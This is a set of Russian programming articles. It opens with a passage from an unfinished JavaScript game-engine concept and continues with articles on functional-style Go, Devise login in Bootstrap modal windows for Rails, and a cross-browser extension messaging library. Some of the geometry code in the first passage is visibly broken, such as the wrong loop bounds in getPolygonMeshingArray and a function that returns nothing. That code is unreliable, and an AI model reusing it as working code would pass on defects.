Что дает данный подход? Как минимум, можно динамически менять "полигональность" окружающего мира - чем большая плотность таких лучей, тем больше будет точек пересечения луча и поверхности, и тем ближе полученная сетка будет прилегать к самой поверхности. Кроме того, если задать лучам некоторое расхождение, например, лучи будут идти не параллельно, а расходиться некоторым довольно плотным пучком - объекты, удаленные от игрока, будут менее детальными, чем приближенные к камере, более того - чем ближе объект, тем более детальным он будет. Кроме того, плотность пуска лучей не обязательно должна быть равномерная - если плотность будет чуть ниже на краях, для бокового зрения графика будет низкополигональная, а для фронтального - напротив, высокополигональная. Само собой, это больше актуально для VR, но тем не менее - концепт получается интересный.
Более того, мы предполагали сделать на этой же основе не только отрисовку, но и физику - с честным просчетом коллизий как пересечением полигонов объектов, их составляющей. Полигонов уже в традиционном смысле слова, хотя ничто (кроме aлгоритмической сложности) не мешало отслеживать и пересечение поверхностей.
Непосредственно, код
--------------------
Стоит понимать, что проект не был дописан, а существенная часть концепций так и осталась концепциями, проверенными на бумаге. Тем не менее, выкладываю все наши наработки - и прокомментирую их по мере возможности. Если кто-либо захочет вести работу в данном направлении, или же вообще - сделает вышеописанный принцип основополагающим для своего проекта - значит, мы не зря писали эту статью %)
Для реализации описанного алгоритма нам потребуются классы с описанием математических операций над матрицами (в частности, сложение/умножением, дискриминант и т.д), класс, описывающий точку, линию, полигон и поверхность. Остальное, из того, что требуется для разработки игры, либо не было реализовано и оттестировано, либо - не получило согласования на публикацию.
Точка - самая базовая сущность, все, что она делает - хранит и получает/устанавливает собственные координаты, а также - измеряет расстояние до товарки.
```
class Point{
x=0;
y=0;
z=0;
constructor(x,y,z) {
this.x = x?x:0;
this.y = y?y:0;
this.z = z?z:0;
}
get x(){
return this.x;
}
set x(x){
this.x = x;
}
get y(){
return this.y;
}
set y(y){
this.y = y;
}
get z(){
return this.z;
}
set z(z){
this.z = z;
}
toString(){
return `{"x": ${this.x}, "y": ${this.y}, "z": ${this.z}}`;
//for debug
}
/**
* @param {object} point1 - coordinates of first point
* @param {object} point2 - coordinates of second point
* @returns {number} - distance between points
*/
static getDistance(point1, point2){
return Math.sqrt(Math.pow(point2.x - point1.x, 2) +Math.pow(point2.y - point1.y, 2)+
Math.pow(point2.z - point1.z, 2) )
}
}
//console.log(new Point(2,3,4).toString()); //debug todo remove
export {Point}
```
Однако точка - слишком мелкая единица. Введем код для полигона - пока что как как просто координаты трех точек в пространстве, и для нескольких методов работы с ним.
```
/**
* @returns {object} - coefficients for equation of plane,
* that contains current polygon
*/
getPlaneEquation(){
let a1 = this.point2.x - this.point1.x;
let b1 = this.point2.y - this.point1.y;
let c1 = this.point2.z - this.point1.z;
let a2 = this.point3.x - this.point1.x;
let b2 = this.point3.y - this.point1.y;
let c2 = this.point3.z - this.point1.z;
let a = b1 * c2 - b2 * c1;
let b = a2 * c1 - a1 * c2;
let c = a1 * b2 - b1 * a2;
let d = (- a * this.point1.x- b * this.point1.y - c * this.point1.z);
let plane = {
a:a,
b:b,
c:c,
d:d
}
return plane
}
/**
* @param {object} line - line in space crossing this plane
* @param {object} plane - coefficient for equation of plane that is crossed by line
* @returns {object} - coordinates of point of crossage
*/
getCrossingPointOfLIneAndPlane(line, plane){
let point1 = line.point1;
let point2 = line.point2;
let n= point2.y - point1.y;
let m = point2.x - point1.x;
let p = point2.z - point1.z;
let matrixLeft = [
[n, -1*m, 0],
[p, 0, -1*m],
[plane.a, plane.b, plane.c]
]
let matrixRight = [[n*point2.x-m*point2.y],[p*point2.x-m*point2.z],[-1*plane.d]]
let matrixLeft_1 = MatrixOperations.InverseMatrix(matrixLeft);
let solution = MatrixOperations.MultiplyMatrix(matrixLeft_1, matrixRight);
let point = {
x:solution[0][0],
y:solution[1][0],
z:solution[2][0],
}
return point;
}
/**
* @param {object} point - some point in space
* @returns {boolean} - is that point inside of current polygon
*/
isInsidePolygon(point){
let squareFull = this.getSquare(this.point1, this.point2, this.point3);
let square1 = this.getSquare(point, this.point2, this.point3);
let square2 = this.getSquare(point, this.point1, this.point3);
let square3 = this.getSquare(point, this.point2, this.point1);
const dimension = 0.0001;
/*console.log("s1 " + square1) debug todo remove
console.log("s2 " + square2)
console.log("s3 " + square3)
console.log("s " + squareFull)*/
return Math.abs(squareFull - (square1+square2+square3)) < dimension;
}
/**
* @param {object} polygon - polygon is crossing need to check
* @returns {object} - 3 points that are lying on prolongation of passed polygon borders
* and in current polygon plane
*/
getPolygonBorderLinesCrossPoints(polygon){
let plane = this.getPlaneEquation();
let crossPoint1 = this.getCrossingPointOfLIneAndPlane(new Line(polygon.point1, polygon.point2), plane);
let crossPoint2 = this.getCrossingPointOfLIneAndPlane(new Line(polygon.point1, polygon.point3), plane);
let crossPoint3 = this.getCrossingPointOfLIneAndPlane(new Line(polygon.point3, polygon.point2), plane)
let crossingPoints = {
p1: crossPoint1,
p2: crossPoint2,
p3: crossPoint3,
}
return crossingPoints;
}
/**
* @param {object} polygon - polygon is crossing need to check
* @returns {boolean} - is any of border of passed polygon crossing my plane inside my borders
*/
doesPolygonCrossMe(polygon){
let points = this.getPolygonBorderLinesCrossPoints(polygon);
return this.isInsidePolygon(points.p1) && polygon.isInsidePolygon(points.p1)
||
this.isInsidePolygon(points.p2) && polygon.isInsidePolygon(points.p2)
||
this.isInsidePolygon(points.p3) && polygon.isInsidePolygon(points.p3);
}
/**
* @param {object} polygon - polygon is crossing need to check
* @returns {boolean} - is passed polygon crossing me or am I crossing it
*/
arePolygonsCrossing(polygon){ //needs tests
return this.doesPolygonCrossMe(polygon) && polygon.doesPolygonCrossMe(this);
}
/**
* @param {object} point1 - vertex of triangle
* @param {object} point2 - vertex of triangle
* @param {object} point3 - vertex of triangle
* @returns {float} - square of triangle
*/
getSquare(point1, point2, point3){
let a = Point.getDistance(point1, point2);
let b = Point.getDistance(point2, point3);
let c = Point.getDistance(point1, point3)
let p = (a+b+c)/2;
let square = Math.sqrt(p*(p-a)*(p-b)*(p-c));
return square;
}
```
Однако для работы физического движка требуется проверять пересечения полигонов - для этого была реализована функция arePolygonsCrossing, с довольно интересным алгоритмом.
В ней мы утверждаем, что два полигона пересекаются тогда и только тогда, когда либо я пересекаю другой полигон, либо другой полигон пересекает меня.
В тоже самое время мы утверждаем, что полигон пересекает мня, если продолжение хотя бы одной линии, являющейся границей полигона, пересекает плоскость, в которой лежит исходный полигон, лежит внутри каждого из полигонов. Далее - утверждается, что точка находится внутри плоского полигона, только если суммарная площадь трех треугольников, которые данная точка составляет с вершинами, равна площади непосредственно полигона.
Далее - стоит посмотреть на класс Surface. В нем нет ограничивающих плоскостей - предполагалось вынести это на вышестоящий слой абстракции, который не ходит в текущую реализацию, однако для проверки нахождения какого-либо полигона между двумя (для каждого измерения) плоскостями, задача тривиальная (хотя если мелко разбить каждую из задач - каждая из них тривиальная). В рамках данной статьи ключевая задача стояла в том, чтобы рассмотреть глобальный концепт представления графики не как запеченный массив треугольничков), а как некоторую абстракцию высокого уровня. Собственно, сама реализация представлена под спойлером - там есть как раз необходимый функционал для реализации описанной концепции - конвертация массива поверхностей и массива линий в массив полигонов, который затем передается в вебГл для отрисовки, путем обхода всех точек и преобразования трех ближайших в полигон. Безусловно, честный обход в ширину был бы чуть более корректен, однако при равномерной плотности точек в пространстве, а также отсутствие резких переходов между поверхностями, позволяют утверждать, что приближение по трем самым близким точкам, будет достаточно точно.
```
getPointsOfCrossedByLine(line) {
let a = this.a2 * Math.pow(line.getEquation().m, 2) +
this.b2 * Math.pow(line.getEquation().n, 2) + this.c2 * Math.pow(line.getEquation().p, 2);
let b = this.a2 * 2 * line.getEquation().m + line.getEquation.m * this.a1 +
this.b2 * 2 * line.getEquation().n + line.getEquation.n * this.b1 +
this.c2 * 2 * line.getEquation().p + line.getEquation.p * this.c1;
let c = this.a2 * line.getEquation().x1 * line.getEquation().x1 + this.a1 * line.getEquation().x1 +
this.b2 * line.getEquation().y1 * line.getEquation().y1 + this.b1 * line.getEquation().y1 +
this.c2 * line.getEquation().z1 * line.getEquation().z1 + this.c1 * line.getEquation().z1 + this.d0;
let t = this.quadraticEquation(a, b, c);
return t.map((value) => {
return new Point(line.getEquation().x1 + value * line.getEquation().m,
line.getEquation().y1 + value * line.getEquation().n,
line.getEquation().z1 + value * line.getEquation().p,
)
})
}
getPointsOfCrossedByLineArray(lineArray) {
let rezultArray = [];
for (let i of lineArray) {
let temp = this.getPointsOfCrossedByLine(i);
for (let j of temp)
rezultArray.push(j)
}
return rezultArray;
}
getSortedGraphOfPoints(lineArray) {
let pointsNotVisited = this.getPointsOfCrossedByLineArray(lineArray);
let visitedPoints = [];
visitedPoints.push(pointsNotVisited[0])
pointsNotVisited.shift();
while (pointsNotVisited.length) {
pointsNotVisited.sort((p1, p2) => {
return Point.getDistance(visitedPoints[visitedPoints.length - 1], p1) -
Point.getDistance(visitedPoints[visitedPoints.length - 1], p2);
})
visitedPoints.push(pointsNotVisited[0])
pointsNotVisited.shift();
}
}
getPolygonMeshingArray(sortedPointsArray) {
let polygonArray = [];
for (let i = 9; i < sortedPointsArray - 3; i++)
polygonArray.push(new Polygon(sortedPointsArray[i], sortedPointsArray[i + 1], sortedPointsArray[i + 2]))
return polygonArray;
}
```
Ввиду описательности названий и подробного описания алгоритма комментарии излишни.
Заключение
----------
В заключение хотелось бы сказать, что подход, озвученный выше, безусловно обладает рядом проблем - все мы понимаем, что реализация алгоритмов "с наскока" довольно редко получается удачной. Однако, несмотря на очевидные проблемы с производительностью, а также невозможностью сопряжения с большей частью уже готовых решений, нам хотелось бы верить, что мы хотя бы затронули тот отдел, о котором читатель даже тривиально не задумывался, а принимал как данность. Всегда плоскость полигона принималась аксиомой, с этим, на моей памяти никто и никогда не пытался спорить, по крайней мере на морей памяти. Однако - мы попробовали реализовать проект с полигонами второго порядка, и у нас почти получилось. Возможно, кто-то из вас пройдет начатый нами путь до конца.
Все исходники, все наши наработки, которыми я могу поделиться, расположены по [ссылке](https://github.com/Toxa-p07a1330/game_concept). | https://habr.com/ru/post/543700/ | null | ru | null |
# О функциональности Go
Насколько объектно Go ориентирован многократно и эмоционально обсуждалось. Попробуем теперь оценить насколько он функционален. Заметим сразу, оптимизацию хвостовой рекурсии компилятор не делает. Почему бы? «Это не нужно в языке с циклами. Когда программист пишет рекурсивный код, он хочет представлять стек вызовов или он пишет цикл.» — замечает в переписке Russ Cox. В языке зато есть полноценные lambda, closure, рекурсивные типы и ряд особенностей. Попробуем их применить функциональным манером. Примеры покажутся синтетическими оттого, что во первых написаны немедленно исполняемыми в песочнице и написаны на процедурном все же языке во вторых. Предполагается знакомство как с Go так и с функциональным программированием, разъяснений мало но код комментирован.
Closure, замыкание реализовано в языке в классической и полной мере.
Например ленивую рекурсивную последовательность можно получить так
```
func produce(source int, permutation func(int) int) func() int {
return func() int { //первоклассная lambda
source = permutation(source) //замыкание source
return source
}
}
```
Простой вариатор для псевдослучайных чисел
```
func mutate(j int) int {
return (1664525*j + 1013904223) % 2147483647
}
```
И вот наш генератор случайных чисел
```
next := produce(1, mutate)
next()
```
**Работающий пример**
```
package main
import (
"fmt"
)
func produce(source int, permutation func(int) int) func() int {
return func() int { //первоклассная lambda
source = permutation(source) //замыкание source
return source
}
}
//простой вариатор для псевдослучайных чисел
func mutate(j int) int {
return (1664525*j + 1013904223) % 2147483647
}
func main() {
next := produce(1, mutate) //и вот наш генератор случайных чисел
fmt.Println(next())
fmt.Println(next())
fmt.Println(next())
fmt.Println(next())
fmt.Println(next())
}
```
[Попробовать в песочнице](http://play.golang.org/p/fG9KWlyBjU)
Currying. каррирование, применение функции к одному из аргументов в общем случае не реализовано. Частные задачи однако решаются. Например функция отложенного вызова стандартной библиотеки time имеет сигнатуру *func AfterFunc(d Duration, f func()) \*Timer* принимает аргументом *func(),* а мы бы хотели передать нечто более параметризованное *func(arg MyType)*. И мы можем это сделать так
```
type MyType string //объявление типа
func (arg MyType) JustPrint(){ //объявление метода
fmt.Println(arg)
}
```
метод в Go это функция принимающая первым аргументом своего бенефициара
Выражение *MyType.JustPrint* даст нам эту функцию с сигнатурой *func(arg MyType)*, которую мы можем применить к аргументу *MyType.JustPrint(«Съешь меня»)*
Напротив выражение *arg.JustPrint* даст нам функцию *JustPrint* примененную к *arg* c сигнатурой *func()* которую мы и можем передать нашему будильнику
```
timer := time.AfterFunc(50 * time.Millisecond, arg.JustPrint)
```
**Работающий пример**
```
package main
import (
"fmt"
"time"
)
type MyType string //объявление типа
func (arg MyType) JustPrint() { //объявление метода
fmt.Println(arg)
}
func main() {
arg := MyType("Hello") //экземпляр типа
time.AfterFunc(50*time.Millisecond, arg.JustPrint)
arg = "By"
time.AfterFunc(75*time.Millisecond, arg.JustPrint)
time.Sleep(100 * time.Millisecond)
}
```
[Попробовать в песочнице.](http://play.golang.org/p/56adEsAaVt)
Continuation, продолжение как первоклассный объект не реализован с той элегантностью что в scneme. Есть между тем встроенная функция *panic()* ¸ приблизительный аналог long\_jump способная прервать вычисления и вернуть при этом достигнутый результат(например ошибку) в место откуда был сделан вызов. Конструкцию *panic(), defer recover()* кроме обработки исключений можно применить например для сквозного выхода из зашедшей слишком глубоко рекурсии(что заметим и делается в пакете *encoding.json*). В этом смысле конструкция первоклассна, а не исключительна. Выход из ненужной рекурсии, стоит подчеркнуть, это классическое применение continuation.
Вот прямолинейная, не оптимизированная(не применять в production!!) рекурсивная функция отдающая n-ное число Фибоначчи как сумму предыдущих
```
func Fib(n int) int {
if n == 0 {
return 0
}
if n == 1 {
return 1
}
first := Fib(n - 1)
second := Fib(n - 2)
if first > max { //Если числа стали излишне велики
panic(second) //то здесь вычисления прерываются со сбором урожая
}
return first + second
}
```
Так мы ее вызовем с продолжением(call/cc) желая получить n-ное число Фибоначчи, если только оно не больше max
```
var max int = 200
func CallFib(n int) (res int) {
defer func() {
if r := recover(); r != nil { //восстановление продолжения
res = r.(int) //плоды трудов
}
}()
res = Fib(n)
return
}
```
**Работающий пример.**
```
package main
import "fmt"
var max int = 1000
func Fib(n int) int {
if n == 0 {
return 0
}
if n == 1 {
return 1
}
first := Fib(n - 1)
second := Fib(n - 2)
if first > max { //Если числа стали излишне велики
panic(second) //то здесь вычисления прерываются со сбором урожая
}
return first + second
}
func CallFib(n int) (res int) {
defer func() {
if r := recover(); r != nil { //восстановление продолжения
res = r.(int) //плоды трудов
}
}()
res = Fib(n)
return
}
func main() {
fmt.Println(CallFib(10)) //тривиальный вызов
fmt.Println(CallFib(100000)) //Излишества
fmt.Println("Паника подавлена")
}
```
[Попробовать в песочнице.](http://play.golang.org/p/_szZS3BLQO)
Монады в понимании Haskell процедурному языку просто не нужны. В Go между тем вполне разрешены рекурсивные объявления типов, а многие как раз и полагают монады видом структурной рекурсии. Rob Pike предложил следующее определение state machine, конечного автомата
```
type stateFn func(Machine) stateFn
```
где состояние это функция машины производящая действия и возвращающая новое состояние.
Работа такой машины проста
```
func run(m Machine) {
for state := start; state != nil; {
state = state(m)
}
}
```
Разве не напоминает Haskell State Monad.
Напишем минимальный парсер, а для чего же еще нужны state machine, выбирающий числа из входящего потока.
```
type stateFn func(*lexer) stateFn
type lexer struct {
*bufio.Reader //машине нужна лента
}
```
Нам достаточно всего двух состояний
```
func lexText(l *lexer) stateFn {
for r, _, err := l.ReadRune(); err != io.EOF; r, _, err = l.ReadRune() {
if '0' <= r && r <= '9' { //если попалась цифра
l.UnreadRune()
return lexNumber //переход состояния
}
}
return nil // Стоп машина.
}
func lexNumber(l *lexer) stateFn {
var s string
for r, _, err := l.ReadRune(); err != io.EOF; r, _, err = l.ReadRune() {
if '0' > r || r > '9' { //если не цифра
num, _ := strconv.Atoi(s)
return lexText //переход состояния
}
s += string(r)
}
num, _ := strconv.Atoi(s)
return nil // Стоп машина.
}
```
**Работающий пример.**
```
package main
import (
"bufio"
"fmt"
"io"
"strconv"
"strings"
)
type stateFn func(*lexer) stateFn
func run(l *lexer) {
for state := lexText; state != nil; {
state = state(l)
}
}
type lexer struct {
*bufio.Reader //машине нужна лента, поток ввода
}
var output = make(chan int) //выходной поток
func lexText(l *lexer) stateFn {
for r, _, err := l.ReadRune(); err != io.EOF; r, _, err = l.ReadRune() {
if '0' <= r && r <= '9' { //если попалась цифра
l.UnreadRune()
return lexNumber //переход состояния
}
}
close(output)
return nil // Стоп машина.
}
func lexNumber(l *lexer) stateFn {
var s string
for r, _, err := l.ReadRune(); err != io.EOF; r, _, err = l.ReadRune() {
if '0' > r || r > '9' {
num, _ := strconv.Atoi(s)
output <- num //передаем для утилизации
return lexText //переход состояния
}
s += string(r)
}
num, _ := strconv.Atoi(s)
output <- num
close(output)
return nil // Стоп машина.
}
func main() {
var sum int
a := "hell 3456 fgh 25 fghj 2128506 fgh 77" //пример ввода, для песочницы просто строка
fmt.Println("Числа из строки: ", a)
rr := strings.NewReader(a) //сделаем поток из строки
lexy := lexer{bufio.NewReader(rr)}
go run(&lexy) //запускаем лексер отдельным потоком
for nums := range output {
fmt.Println(nums)
sum += nums
}
fmt.Println("В сумме дают: ", sum)
}
```
[Попробовать в песочнице.](http://play.golang.org/p/h03ji7ioms)
Реактивное программирование сложно формально описать. Это что то о потоках и сигналах. В Go есть то и другое. Стандартная библиотека io предлагает интерфейсы *io.Reader* и *io.Writer* имеющие методы *Read()* и *Write()* соответственно и достаточно стройно отражающие идею потоков. Файл и сетевое соединение к примеру реализуют оба интерфейса. Использовать интерфейсы можно безотносительно к источнику данных, скажем
```
Decoder = NewDecoder(r io.Reader)
err = Decoder.Decode(Message)
```
будет единообразно кодировать файл или например сетевое соединение.
Идея сигналов воплощена в синтаксисе языка. Тип *chan* (channel) оснащен оператором < — передачи сообщений, а уникальная конструкция *select{ case < — chan}* позволяет выбрать готовый к передаче канал из нескольких.
Напишем совсем простой миксер потоков.
В качестве входных потоком возьмем просто строки.(Мы условились делать примеры немедленно исполняемыми в песочнице, что ограничивает в выборе. Читать из сетевого соединения было бы интересней. И код может практически без изменений.)
```
reader1 := strings.NewReader("ла ла ла ла ла ла ла")
reader2 := strings.NewReader("фа фа фа фа фа фа фа")
```
Выходным примем стандартный поток вывода
```
writer := os.Stdout
```
В качестве управляющих сигналов используем канал таймера.
```
stop := time.After(10000 * time.Millisecond)
tick := time.Tick(150 * time.Millisecond)
tack := time.Tick(200 * time.Millisecond)
```
И весь наш миксер
```
select {
case <-tick:
io.CopyN(writer, reader1, 5)
case <-tack:
io.CopyN(writer, reader2, 5)
case <-stop:
return
}
```
**Работающий пример.**
```
package main
import (
"io"
"os"
"strings"
"time"
)
func main() {
stop := time.After(10000 * time.Millisecond)
tick := time.Tick(150 * time.Millisecond)
tack := time.Tick(200 * time.Millisecond)
reader1 := strings.NewReader("ла ла ла ла ла ла ла")
reader2 := strings.NewReader("фа фа фа фа фа фа фа")
writer := os.Stdout
for {
select {
case <-tick:
io.CopyN(writer, reader1, 5)
case <-tack:
io.CopyN(writer, reader2, 5)
case <-stop:
return
}
}
}
```
[Попробовать в песочнице.](http://play.golang.org/p/8Nsr3RbXb4) | https://habr.com/ru/post/280210/ | null | ru | null |
# Devise: вход и регистрация в модальных окнах
На проекте необходимо было сделать логин через модальные окна и «обычные» страницы для разных типов устройств. После поиска понял, что зачастую описывается не совсем то, что нужно. Так [здесь](http://strandcode.com/2013/08/23/embedding-devise-forms-in-twitter-bootstrap-modals/) просто помещают форму в модальное окно (фактически пользуясь [страницей из wiki devise](https://github.com/plataformatec/devise/wiki/How-To:-Display-a-custom-sign_in-form-anywhere-in-your-app)), а тут ([вход](http://natashatherobot.com/devise-rails-sign-in/) и [регистрация](http://natashatherobot.com/devise-sign-up-ajax-rails/)) переопределяют методы в контроллерах devise так, что они постоянно отдают только json и для «немодального» поведения нужно будет писать много условий с проверкой формата запроса. Поэтому я решил поэкспериментировать в новом приложении и написать поддержку 2 форматов с минимальным количеством переопределения и грязных хаков.
#### Создание приложения
1. Генерим приложение без тестов и запуска *bundle install*: `rails new devise_modal -B -T`
2. Добавляем нужные гемы в **Gemfile**:
* `gem 'therubyracer', platforms: :ruby`
`gem "less-rails"`
`gem 'twitter-bootstrap-rails', branch: 'bootstrap3'` — для модальных окон используем [bootstrap](https://github.com/seyhunak/twitter-bootstrap-rails)
* `gem 'devise'` аутентификация будет через [devise](https://github.com/plataformatec/devise)
И устанавливаем всё: `bundle install`
3. Запускаем нужные генераторы
`rails g bootstrap:install static`, «static» так как ничего менять в стилях *bootstrap*'а не будем
`rails g devise:install; rails g devise User; rake db:migrate` — устанавливаем *devise* и создаём пользователя
4. Создаём контроллер, который будет отображать главную страницу:
`rails g controller welcome index --no-helper --no-assets`
В **config/routes.rb** привязываем *index* к главной странице:
`root 'welcome#index'`
В конце этого этапа есть приложение, с формами входа/регистрации на стандартных ссылках для *devise*: `users/sign_in` и `users/sign_up`.
#### Модальные окна для форм
В формах нету ничего примечательного — используем стандартные *devise*'овские сделав их *remote* и поменяв формат на *json*. Дальше делаем их модальными, обернув в соответствующие классы *bootstrap*'а. В итоге получились такие *partial*'ы:
**app/views/shared/\_sign\_in.html.erb**
```
x
Sign in
-------
<%= form\_for(User.new, url: session\_path(:user), html:{id: 'sign\_in\_user', :'data-type' => 'json'}, remote: true) do |f| %>
<%= f.label :email %>
<%= f.email\_field :email, autofocus: true %>
<%= f.label :password %>
<%= f.password\_field :password, autocomplete: "off" %>
<% if Devise.mappings[:user].rememberable? -%>
<%= f.check\_box :remember\_me %>
<%= f.label :remember\_me %>
<% end -%>
<%= f.submit "Sign in" %>
<% end %>
```
**app/views/shared/\_sign\_up.html.erb**
```
x
Sign up
-------
<%= form\_for(User.new, url: registration\_path(:user), html: {id: 'sign\_up\_user', :'data-type' => 'json'}, remote: true) do |f| %>
<%= f.label :email %>
<%= f.email\_field :email, autofocus: true %>
<%= f.label :password %>
<%= f.password\_field :password, autocomplete: "off" %>
<%= f.label :password\_confirmation %>
<%= f.password\_field :password\_confirmation, autocomplete: "off" %>
<%= f.submit "Sign up" %>
<% end %>
```
Добавим отображение этих файлов и ссылок для их вызова в *layout*:
```
<%= link_to "Sign in", "#sign_in", "data-toggle" => "modal", :class => 'btn btn-small' %>
<%= link_to "Sign up", "#sign_up", "data-toggle" => "modal", :class => 'btn btn-small' %>
<%= render 'shared/sign_in' %>
<%= render 'shared/sign_up' %>
```
А после этого облагородим немного, сделав проверку на наличие юзера:
**app/views/layouts/application.html.erb**
```
<% if current_user %>
<%= "Hello, #{current_user.email}" %>
<%= link_to "Sign out", destroy_user_session_path, :method => :delete %>
<% else %>
<%= link_to "Sign in", "#sign_in", "data-toggle" => "modal", :class => 'btn btn-small' %>
<%= link_to "Sign up", "#sign_up", "data-toggle" => "modal", :class => 'btn btn-small' %>
<%= render 'shared/sign_in' %>
<%= render 'shared/sign_up' %>
<% end %>
```
~~Чтобы всё это работало нужно добавить несколько методов в *application\_helper*, которые определяют *resource* и связанные с ним [вещи](https://github.com/plataformatec/devise/wiki/How-To:-Display-a-custom-sign_in-form-anywhere-in-your-app) для данного контекста:
**app/helpers/application\_helper.rb**
```
def resource_name
:user
end
def resource
@resource ||= User.new
end
def devise_mapping
@devise_mapping ||= Devise.mappings[:user]
end
```~~
Как заметили в комментариях [printercu](https://habrahabr.ru/users/printercu/) и [DarthSim](https://habrahabr.ru/users/darthsim/) переопределять глобальные хелперы для *resource* имеет мало смысла, лучше напрямую задать в формах вместо *resource* — `User.new`, а вместо *resource\_name* — `:user`. Также в **app/views/shared/\_sign\_in.html.erb** укажем `Devise.mappings[:user]` заместо *devise\_mapping*. В целом, можно вообще избавиться от этого условия:
```
<% if devise_mapping.rememberable? -%>
```
основываясь на том, указуем ли мы в модели пользователя(**app/models/user.rb**) `:rememberable`. Кроме того, в **app/views/shared/\_sign\_up.html.erb** ещё был хелпер *devise\_error\_messages!*, который использует *resource*, но поскольку текст ошибок берётся из *json*'а ответа, то просто удалим из формы `<%= devise_error_messages! %>` за ненадобностью.
Теперь есть модальные формы, которые доступны с любой страницы и позволяют входить и регистрироваться. Осталось только сделать, чтобы *devise* на эти запросы в ответ не отправлял html страницы.
#### JSON ответы от devise
В геме *devise* за ошибки связанные со входом отвечает [FailureApp](https://github.com/plataformatec/devise/blob/master/lib/devise/failure_app.rb). При возникновении ошибки в *SessionsController*'е, который отрабатывает запросы на вход, вызывается [respond](https://github.com/plataformatec/devise/blob/master/lib/devise/failure_app.rb#L33), где с помощью [http\_auth?](https://github.com/plataformatec/devise/blob/master/lib/devise/failure_app.rb#L136) проверяется: нужно слать 401 статус или же переадресовывать на другую страницу. Так как по умолчанию у *devise*'а:
**config/initializers/devise.rb**
```
config.http_authenticatable_on_xhr = true
```
то и возвращается 401.
RegistrationsController же в ответ на AJAX запрос присылает html страницу, чтобы это исправить переопределим его немного — укажем явно, какие форматы нас интересуют:
`rails g controller Registrations --no-helper --no-assets --no-views`
**config/routes.rb**
```
devise_for :users, controllers: {registrations: 'registrations'}
```
**app/controllers/registrations\_controller.rb**
```
class RegistrationsController < Devise::RegistrationsController
respond_to :html, :json
end
```
Теперь при неудачной попытке регистрации будет отдаваться 422 статус с текстами ошибок в *responseJSON['errors']*, а при удачной — 201. Аналогично для *SessionsController*'а при удачном входе нужно отдавать статус, а не html-страницу, поэтому «научим» и его правильно реагировать на *json* запросы:
`rails g controller Sessions --no-helper --no-assets --no-views`
**config/routes.rb**
```
devise_for :users, controllers: {sessions: 'sessions', registrations: 'registrations'}
```
**app/controllers/sessions\_controller.rb**
```
class SessionsController < Devise::SessionsController
respond_to :html, :json
end
```
Также можно написать *javascript*, который будет обрабатывать ответы от модальных форм, например такой:
**app/assets/javascripts/welcome.js.coffee**
```
$ ->
$("form#sign_in_user, form#sign_up_user").bind("ajax:success", (event, xhr, settings) ->
$(this).parents('.modal').modal('hide')
).bind("ajax:error", (event, xhr, settings, exceptions) ->
error_messages = if xhr.responseJSON['error']
"" + xhr.responseJSON['error'] + ""
else if xhr.responseJSON['errors']
$.map(xhr.responseJSON["errors"], (v, k) ->
"" + k + " " + v + ""
).join ""
else
"Unknown error"
$(this).parents('.modal').children('.modal-footer').html(error_messages)
)
```
При входе оборачиваем ошибку в *alert*, а при регистрации — ошибки по каждому параметру, после чего выводим полученное сообщение в *footer*'е. При успешном запросе просто убираем модальную форму (можно ещё обновлять блок в *layout*'е, в котором проверяется наличие пользователя, чтобы отображать данные пользователя (они также приходят в ответе)).
Теперь контроллеры отдают ответы в правильном формате, как и для модальных форм — *json*, так и для стандартных(*users/sign\_in*, *users/sign\_up*) — *html*. И всё, что понадобилось для этого понадобилось — переопределить контроллеры, расширив набор форматов:
```
respond_to :html, :json
```
###### Примечание
Приложение писалось на rails 4, но отличия для 3.2 будут минимальны: запустится `bundle install` при создании приложения, нужно будет удалить `public/index.html` а также путь на главную будет выглядеть чуть иначе:
**config/routes.rb**
```
root to: 'welcome#index'
``` | https://habr.com/ru/post/216837/ | null | ru | null |
# Универсальный обмен сообщениями между страницами в расширениях
Привет! Сегодня мне хочется показать вам свой маленьких хобби проект, который позволяет сильно упростить разработку расширений в разных браузерах. Сразу хочу предупредить, это не фреймворк который делает везде одно и то же, это библиотека, которая организует единый способ общения между всеми страницами расширения, и для её использования нужно хотя бы в общих чертах понимать работу api браузеров под которое вы пишите.
И да, чуть не забыл, она сильно облегчает портирование расширений из Chrome!
**Основные функции:**
— Обмен сообщениями с фоновой страницей и возможность отправить ответ;
— Единое хранилище на всех страницах.
#### Введение
Когда я столкнулся с потребностью портирования расширения на все актуальные браузеры, то обнаружил, что везде все по разному. И что бы использовать единой код, придется написать легкую обертку, которая унифицирует взаимодействие с хранилищем и страницами.
Мне очень хотелось привести все к подобию api хрома. Очень удобно посылать сообщения в фоновую страницу и иметь возможность ответить. Удобно когда есть единое хранилище везде и его можно вызвать из любой страницы.
В общем именно об этой унификации и пойдет речь.
#### Как работает обмен сообщений
Обмен сообщениями, как уже упоминал, почти как у Chrome, но с не большими изменениями.
На схеме изображен механизм взаимодействия страниц расширения между собой.
**Injected page** — страница, на которой подключен скрипт расширения, может отсылать сообщения только фоновой странице и получать ответ только через response функцию.
**Popup page** — всплывающая страница, может посылать сообщения только в фоновую страницу.
**Options page** — страница настроек расширения, т.е. html страница внутри расширения, открывается при нажатии на пункт настройки (в Chrome например), может отсылать сообщения только в фоновую страницу.
**Background page** — фоновая страница расширения, когда отсылает сообщение — сообщение приходит сразу и в popup menu, и в options page. Но не приходит в Injected page, но может отсылать сообщения в активную вкладку.
\*В Firefox посылка из фоновой страницы в popup menu и options page, включается отдельным флагом, т.к. эта функция почти не нужна.
Так же замечу, что в Safari и Firefox, popup page загружается один раз и работает постоянно, в то время как в Chrome и Opera 12 происходит загрузка страницы при нажатии на кнопку расширения.
\*В Firefox нельзя посылать сообщения в закрытую/не активную страницу.
**Код получения сообщения:**
```
mono.onMessage(function onMessage(message, response) {
console.log(message);
response("> "+message);
});
```
**Код посылки сообщения:**
```
mono.sendMessage("message", function onResponse(message) {
console.log(message);
});
```
**Код посылки сообщений в активную вкладку (только из фоновой страницы):**
```
mono.sendMessageToActiveTab("message", function onResponse(message) {
console.log(message);
});
```
В общем все максимально похоже на Chrome.
#### Хранилище
Во всех браузерах хранилище разное.
Firefox: simple-storage.
Opera: widget.preferences, localStorage.
Chrome: chrome.storage.local, chrome.storage.sync, localStorage.
Safari: localStorage.
Библиотека унифицирует интерфейс работы с хранилищем.
**Код работы с хранилищем:**
```
mono.storage.set({a:1}, function onSet(){
console.log("Dune!");
});
mono.storage.get("a", function onGet(storage){
console.log(storage.a);
});
mono.storage.clear();
```
Для использования **sync** хранилища хрома, код выглядит немного иначе, а в остальных браузерах будет использоваться локальное хранилище.
```
mono.storage.sync.set({a:1}, function onSet(){
console.log("Dune!");
});
mono.storage.sync.get("a", function onGet(storage){
